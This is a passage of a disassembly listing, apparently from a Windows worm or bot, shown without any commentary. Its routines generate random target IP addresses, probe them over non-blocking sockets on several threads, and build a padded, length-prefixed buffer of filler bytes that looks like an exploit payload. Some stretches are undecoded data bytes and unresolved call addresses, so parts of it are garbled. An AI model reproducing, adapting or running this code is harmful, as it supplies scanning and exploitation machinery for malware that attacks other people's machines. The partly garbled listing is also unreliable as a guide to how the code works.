sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CB0C0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CAE9C inc eax push eax mov [ebp+arg_0], eax call dword_4CAF70 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB0C0[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: ___:0040B8FAp ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CAF74 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB010 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CAF1C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CAF5C push esi mov edi, eax call dword_4CB00C xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C124+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call near ptr 2670D93h nop push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43DEB4[ebx] cmp dword_4CB0C4[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43DEB4[ebx] push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A74 push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43DCB0[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD0C0 call near ptr 77F7E21Fh nop push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A4C push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+29Ch+var_29C], offset dword_4CD0C0 nop call near ptr 77F7E300h jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB000 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43140C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h call near ptr 26604A7h nop jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 call near ptr 26C0000h nop loc_40C33C: ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CAFB4 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB0C0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD0C0 push esi nop call near ptr 26D0000h push 80000400h push esi nop call near ptr 26C06E3h test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_431B58 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C124+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C124+27Bj ; sub_40C124+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB0C4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C124+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431B24 push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43DEB4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C124+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C124+371j nop call near ptr 2660DCFh push eax lea eax, [ebp+var_1CC] push offset unk_431AEC push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C124+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C124+2FEj cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4EC: ; CODE XREF: sub_40C124+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB0C0[eax*8] push eax call dword_4CB000 push eax lea eax, [ebp+var_1CC] push offset unk_431AAC push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C124+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB0C4[eax*8], ebx call esi push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD0C0 call near ptr 26D0000h nop loc_40C571: ; CODE XREF: sub_40C124+440j push [ebp+var_2C] call sub_40B412 pop ecx push ebx call near ptr 26C0000h nop loc_40C581: ; CODE XREF: sub_40C124+3B6j ; sub_40C124+475j mov eax, [ebp+var_2C] cmp dword_4CB0C4[eax*8], 1 jnz loc_40C4EC push 7D0h call esi jmp short loc_40C581 sub_40C124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CAF74 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CAF1C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43DEBC[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB000 push eax mov edi, offset dword_4CDA84 push offset dword_431B8C push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB00C pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; --------------------------------------------------------------------------- dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+603Eo dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C59Bh, 0E8905757h, 2253E2Eh, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 8CE890FCh, 0FF022341h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 90575700h dd 253D3DE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0E8900875h, 223409Bh, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh dd 5000431Bh, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CAE2C call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C8E8 call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: ___:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_431C40 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_431C48 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_431FC4 lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_431C4C lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_431FB8 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_431FB4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_431FB0 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_431FA4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_431F9F+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 